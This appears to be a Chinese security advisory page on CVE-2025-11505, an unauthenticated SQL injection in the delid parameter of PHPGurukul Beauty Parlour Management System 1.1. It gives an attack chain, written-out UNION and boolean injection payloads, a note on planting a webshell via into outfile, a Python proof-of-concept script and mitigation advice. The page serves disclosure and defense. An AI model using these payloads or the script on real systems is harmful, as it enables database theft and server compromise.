IPBUF安全漏洞报告
English
CVE-2025-11505 CVSS 7.3 高危

CVE-2025-11505:PHPGurukul美容院管理系统SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11505
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Beauty Parlour Management System

相关标签

SQL注入PHPGurukul美容院管理系统CVE-2025-11505高危漏洞远程利用无需认证Web应用安全

漏洞概述

CVE-2025-11505是PHPGurukul Beauty Parlour Management System 1.1版本中存在的一个高危SQL注入漏洞。该漏洞位于管理后台的/admin/new-appointment.php文件中,具体涉及对delid参数的处理逻辑存在缺陷,攻击者可以通过构造恶意的SQL语句注入到该参数中,从而实现对数据库的非法操作。

PHPGurukul美容院管理系统是一款用于美容院日常运营管理的Web应用程序,提供预约管理、客户管理、服务管理等功能。由于该系统处理用户预约数据时未对输入参数进行充分的过滤和转义,导致SQL注入漏洞的产生。

该漏洞的CVSS 3.1评分为7.3分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),无需用户交互(UI:N),对机密性、完整性和可用性均存在低程度的影响。漏洞已于2025年10月8日公开披露,且存在公开可用的漏洞利用代码(PoC),攻击者可以远程发起攻击,风险较高。

由于该漏洞可被远程利用且无需任何认证即可触发,美容院管理系统中存储的客户信息、预约记录、财务数据等敏感信息面临泄露和篡改的风险。建议相关用户尽快采取防护措施,避免遭受数据泄露或系统被入侵的损失。

技术细节

该漏洞的根本原因在于/admin/new-appointment.php文件中对delid参数的处理未使用参数化查询或预编译语句,而是直接将用户输入拼接到SQL查询语句中执行。攻击者可以通过在delid参数中注入恶意SQL片段(如UNION SELECT、OR 1=1等)来操控后端数据库。

技术原理:
1. 应用程序接收HTTP请求中的delid参数(通常通过GET或POST方式传递);
2. 该参数未经任何过滤、转义或类型检查直接拼接到DELETE或SELECT等SQL语句中;
3. 攻击者构造特殊Payload如 `1' OR '1'='1` 或基于UNION的注入语句;
4. 数据库执行被篡改后的SQL语句,返回非预期结果或执行恶意操作;
5. 攻击者可利用此漏洞读取数据库中的敏感数据(如管理员凭据、客户信息),甚至通过堆叠查询执行任意SQL命令。

利用方式:
- 攻击者首先访问目标系统的管理后台入口;
- 构造包含恶意SQL的请求URL,如:`/admin/new-appointment.php?delid=1' UNION SELECT 1,user(),database()-- -`;
- 通过布尔盲注或联合查询方式逐步提取数据库中的敏感信息;
- 可进一步利用into outfile写入Webshell,获取服务器控制权。

由于漏洞利用代码已公开传播,自动化扫描和攻击工具可以快速识别并利用该漏洞,安全风险进一步加剧。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过搜索引擎或Shodan等工具识别运行PHPGurukul Beauty Parlour Management System 1.1的目标网站,确认目标系统版本及管理后台路径/admin/
STEP 2
步骤2:漏洞探测
攻击者访问/admin/new-appointment.php页面,通过在delid参数中插入单引号等特殊字符,检测是否存在SQL注入漏洞,观察页面响应差异
STEP 3
步骤3:注入Payload构造
攻击者使用ORDER BY或UNION SELECT确定查询的列数,构造布尔盲注或联合查询Payload
STEP 4
步骤4:数据提取
利用构造好的SQL注入语句,逐步提取数据库中的管理员凭据、客户信息、预约记录等敏感数据
STEP 5
步骤5:权限提升与持久化
获取管理员账号后登录系统,或通过into outfile写入Webshell,实现对服务器的完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11505 PoC - SQL Injection in PHPGurukul Beauty Parlour Management System 1.1 # Vulnerable file: /admin/new-appointment.php # Vulnerable parameter: delid import requests # Target configuration TARGET_URL = "http://target-site.com" VULNERABLE_ENDPOINT = "/admin/new-appointment.php" # Step 1: Basic SQL Injection test - verify vulnerability def test_sql_injection(base_url): """Test if the delid parameter is vulnerable to SQL injection""" # Normal request normal_url = f"{base_url}{VULNERABLE_ENDPOINT}?delid=1" normal_response = requests.get(normal_url) # Malicious request with single quote to trigger error malicious_url = f"{base_url}{VULNERABLE_ENDPOINT}?delid=1'" malicious_response = requests.get(malicious_url) if normal_response.status_code == 200 and malicious_response.status_code == 500: print("[+] Target is vulnerable to SQL Injection!") return True return False # Step 2: Extract database information using UNION-based injection def extract_database_info(base_url): """Extract database name and version using UNION injection""" # Determine number of columns first for i in range(1, 15): cols = ",".join([str(x) for x in range(1, i+1)]) payload = f"-1' UNION SELECT {cols}-- -" url = f"{base_url}{VULNERABLE_ENDPOINT}?delid={payload}" response = requests.get(url) if response.status_code == 200: print(f"[+] Number of columns: {i}") # Extract database version and name version_payload = f"-1' UNION SELECT {cols.replace('1', 'version()', 1)}-- -" url = f"{base_url}{VULNERABLE_ENDPOINT}?delid={version_payload}" response = requests.get(url) print(f"[+] Database info: {response.text}") break # Step 3: Extract admin credentials def extract_admin_credentials(base_url): """Extract admin username and password from database""" # Assuming table name 'tbladmin' based on PHPGurukul convention payload = "-1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- -" url = f"{base_url}{VULNERABLE_ENDPOINT}?delid={payload}" response = requests.get(url) print(f"[+] Response: {response.text}") # Main execution if __name__ == "__main__": print(f"[*] Testing CVE-2025-11505 against {TARGET_URL}") if test_sql_injection(TARGET_URL): extract_database_info(TARGET_URL) extract_admin_credentials(TARGET_URL) else: print("[-] Target does not appear to be vulnerable")

影响范围

PHPGurukul Beauty Parlour Management System 1.1

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过WAF规则阻断对/admin/new-appointment.php文件中delid参数的SQL注入攻击Payload;2)限制/admin/目录的访问,仅允许可信IP地址访问管理后台;3)在Web服务器层面配置URL过滤规则,拦截包含UNION、SELECT、OR等关键字的可疑请求;4)将数据库中敏感字段(如管理员密码)进行加密存储;5)监控数据库异常查询日志,及时发现潜在攻击行为;6)考虑临时禁用该文件或限制其访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表